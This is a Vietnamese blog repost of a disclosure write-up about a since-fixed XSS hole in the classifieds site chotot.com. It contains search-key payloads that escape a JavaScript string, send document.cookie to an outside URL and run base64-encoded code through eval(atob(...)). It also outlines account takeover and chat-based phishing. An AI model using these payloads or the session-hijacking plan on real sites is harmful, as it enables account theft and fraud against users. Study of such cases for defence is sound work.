Họ đã hack Chợ Tốt như thế nào ?

Họ đã hack Chợ Tốt như thế nào ? | Chào các bạn, mình vô tình dạo qua trang web ‘http://laptrinhcuocsong.com/‘, mình đọc được bài viết về “Tôi đã hack chợ tốt như thế nào” . Mình thấy tác giả đã trình bày tình huống khai thác lỗi bảo mật XSS trên site ‘chotot.com‘ rất thú vị. Mình đã xin sao chép nội dung về site, để thành một bài viết như Case Study tốt cho các bạn lập trình viên/quản trị mạng có thể tham khảo để bảo mật ứng dụng web của bạn. Lưu ý: lỗ hổng bảo mật đã fix lâu rồi nhé.

hack chợ tốt

Họ đã hack Chợ Tốt (chotot.com) như thế nào

“Hôm nay thử dạo một vòng Chợ Tốt kiếm mấy món hàng cũ, thì phát hiện lỗi XSS, đây là lỗi không mới. Cách thức tấn công cũng đơn giản, nhưng nhiều khi cần rất nhiều sáng tạo trong quá trình khai thác.

Thử tìm kiếm với từ khóa “iphone 7” thì thấy như thế này:

họ đã hack chợ tốt - 1

Ái chà, URL đẹp phết, mình thích URL này rồi đấy. Search key đã được bỏ dấu và thêm dấu gạch ngang cho hợp chuẩn. Thử thêm một ít html vào thì thế này (ảnh nhỏ các bạn nhấp vào ảnh để xem nhé)

hack chợ tốt - 2

Rất nhiều nơi, search key đã được entities. Tuy nhiên vì lý do nào đó, search key trong đoạn javascript này đã không được xử lý. Vấn đề là, từ khóa nó đang nằm trong string, nên alert không xảy ra hiện tượng gì.

Cuối cùng mình sửa search key như sau:

iphone 7" }; alert("something went wrong"); var a = { "a":"

Thì nhận được alert:

hack chợ tốt - 3

Bạn thấy không? Mình muốn nói đến cái search key trên, từ một property của object, nó đã tách thành 2 object và alert nằm giữa một cách đẹp đẽ và tuyệt vời.

OK, giờ thử redirect đến 1 trang ngoài cùng với cookie của người dùng xem sao, mình thử code này:

iphone 7" }; window.location="http://google.com/" + document.cookie; var a = { "a":"

hack chợ tốt - 4

Cái lề gì thốn, coder đã cẩn thận bỏ dấu gạch chéo // và phần sau của search key đi, cũng như lọc một số từ đặc biệt trong chuỗi, như vậy là không thể tương tác gì url bên ngoài được? Không, phải nghĩ cách khác. Cuối cùng thì mình đã tìm ra cách hoàn hảo nhất là đây:

iphone 7" }; eval(atob("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")); var a = { "a":"

Với xxxxx là mã hóa base64 của một đoạn code javascript bất kỳ. Tức là chúng ta có thể chèn bất kỳ đoạn javascript nào vào Chợ Tốt. Ví dụ sau đây để alert cookie:

iphone 7" }; eval(atob("YWxlcnQoIGRvY3VtZW50LmNvb2tpZSk=")); var a = { "a":"

Và đây là kết quả:

Đã đến bước này, thì các bạn đã biết mình sẽ làm gì tiếp theo rồi phải không? Mình đăng 1 bài viết mua bán với giá rất rẻ, trong đó có kèm link, lấy cookie để vào được tài khoản của những người không may click vào link.

Nhưng không dừng lại ở đó, khi đã vào được tài khoản của vài thành viên khác, mình có thể mở rộng hơn qua chính công cụ chat của Chợ Tốt bằng token Key đã lấy được. Viết script tự động chat với nhiều thành viên khác với nội dung bán đồ rất rẻ, và kèm link để câu.

hack cho tot - 6

Tâm lý là khi được chat về sản phẩm đang bán, người dùng rất dễ click vào link, social engineering khá hiệu quả trong trường hợp này.

Hiện tại mình đã report, bên ChoTot đã xác nhận, fix lỗi xong và thông báo lại cho mình.”

hack cho tot - 7Như vậy là bạn đã đọc xong bài viết về “Họ đã hack chợ tốt (chotot.com) như thế nào?” của tác giả blog “Lập trình cuộc sống chấm com”. Hy vọng bài viết giúp ích cho bạn. Bài viết được đăng tải lại ở “Cuongquach.com“.

Nguồn bài viếthttp://laptrinhcuocsong.com/toi-da-hack-cho-tot-nhu-the-nao.html
Nguồn: https://cuongquach.com/

Previous articleNTP Server là gì ? Tổng quan về dịch vụ NTP (Network Time Protocol) đồng bộ thời gian
Next articleTầm quan trọng của tự động hóa trong Công Nghệ Thông Tin
Bạn đang theo dõi website "https://cuongquach.com/" nơi lưu trữ những kiến thức tổng hợp và chia sẻ cá nhân về Quản Trị Hệ Thống Dịch Vụ & Mạng, được xây dựng lại dưới nền tảng kinh nghiệm của bản thân mình, Quách Chí Cường. Hy vọng bạn sẽ thích nơi này !